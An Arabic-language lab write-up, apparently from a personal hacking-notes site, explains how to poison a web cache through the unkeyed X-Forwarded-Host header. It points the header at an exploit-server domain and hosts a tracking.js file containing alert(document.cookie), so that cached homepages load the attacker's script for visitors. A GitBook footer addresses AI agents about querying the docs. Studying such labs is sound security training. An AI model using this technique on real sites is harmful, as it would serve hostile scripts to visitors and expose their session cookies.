> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md).

# تسميم ذاكرة التخزين المؤقت برأس غير مفهرس

### تسميم ذاكرة التخزين المؤقت للويب باستخدام رأس غير مفهرس

هذا التطبيق عرضةً لـ **تسميم ذاكرة التخزين المؤقت للويب** لأنه يتعامل بشكل خطير مع إدخال من **رأس غير مفهرس** . / مستخدم شرعي يزور بانتظام الصفحة الرئيسية للموقع.

\*\* الهدف:\*\*/ تسميم ذاكرة التخزين المؤقت بحيث تعرض الصفحة الرئيسية استجابة تنفذ `alert(document.cookie)` في متصفح الضحية.

<figure><img src="/files/044a769c93c9ddb98b5225c707986218be7a93c7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/21ff95871d8a31176c3045a7aa79200b521f0677" alt=""><figcaption></figcaption></figure>

**تحليل سلوك ذاكرة التخزين المؤقت**

* عند اعتراض طلب الصفحة الرئيسية، تُلاحظ معلمة **`Age`** في الاستجابة، مما يشير إلى أن المورد مخزَّن مؤقتًا لمدة **30 ثانية**.

<figure><img src="/files/f1ffc54a1f952ebe0cf11bb1c7ed20044d1d58ac" alt="" width="481"><figcaption></figcaption></figure>

* تؤدي إضافة معلمة عشوائية إلى عنوان URL، على سبيل المثال `?test=1`، إلى إظهار ما يلي:
* يُعاد توليد مفتاح ذاكرة التخزين المؤقت.
* يمكن تعديل المحتوى المخزَّن مؤقتًا وتقديمه لمستخدمين آخرين أثناء ذاكرة التخزين المؤقت.

<figure><img src="/files/bd2648987f7a139057205ce4e954dd17c1774832" alt=""><figcaption></figcaption></figure>

إذا تمكن أحدهم من تسميم الاستجابة الجذرية (`/`)، فسيرى أي زائر هذا المحتوى الخبيث خلال هذه الـ30 ثانية

**ابحث عن رؤوس قابلة للاستغلال**

* باستخدام **Param Miner** في Burp Suite:

<figure><img src="/files/53d372bc40f520b0c577b75004ee6fe151c35931" alt=""><figcaption></figcaption></figure>

* نظرًا لأن **Repeater**، تُستخدم الدالة **تخمين الرؤوس** .

<figure><img src="/files/bfa03c00eb0cf85c039d2e717a32484e41f7c37f" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/1b8cb6138538cb958506e01e5af90e1c056c767b" alt="" width="563"><figcaption></figcaption></figure>

تكشف الإضافة عن سلوك تسميم لذاكرة التخزين المؤقت المرتبطة بالرأس **`X-Forwarded-Host`**.

<figure><img src="/files/e85ae891049716249566e982735848758fb5010c" alt=""><figcaption></figcaption></figure>

**عملية رأس غير مفهرس**

* تتم إضافة الرأس التالي إلى الطلب:

```http
X-Forwarded-Host: test.com
```

* ثم تتضمن الاستجابة تحميل مورد JavaScript من هذا النطاق.

<figure><img src="/files/186f1bc2918c3d37fc91d1151a2adee49000ef23" alt=""><figcaption></figcaption></figure>

* عند إعادة التحميل، يحاول التطبيق دائمًا جلب هذا البرنامج النصي، مما يؤكد أن الاستجابة مخزَّنة مؤقتًا.

<figure><img src="/files/9abe0cedd892bfb4af8bfdbe427971986c20bb5e" alt=""><figcaption></figcaption></figure>

**إعادة التوجيه إلى الخادم التشغيلي**

* يتم استبدال قيمة الرأس بـ **نطاق الخادم التشغيلي**:

```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```

ثم يسعى التطبيق إلى تحميل المورد التالي:

**حقن حمولة خبيثة**

* على الخادم التشغيلي، تنشئ الملف:

```javascript
/resources/js/tracking.js
```

<figure><img src="/files/a5c3efaa8de3ed9833d9a14674f3b7f2ab122563" alt=""><figcaption></figcaption></figure>

محتوى الملف:

```javascript
alert(document.cookie)
```

* يتم الآن تضمين هذا البرنامج النصي في الاستجابة المخزَّنة مؤقتًا.

<figure><img src="/files/fb84b004d4e4d1d6fe9fc897531cb30c3fb53992" alt=""><figcaption></figcaption></figure>

**النتيجة**

* عندما يزور المستخدم الصفحة الرئيسية خلال فترة صلاحية ذاكرة التخزين المؤقت:
* يقوم المتصفح بتحميل البرنامج النصي الخبيث.
* تظهر نافذة حوار تحتوي على `document.cookie`.

<figure><img src="/files/0c10f9c115b5628daf8b4a16b60a76144c239dd7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
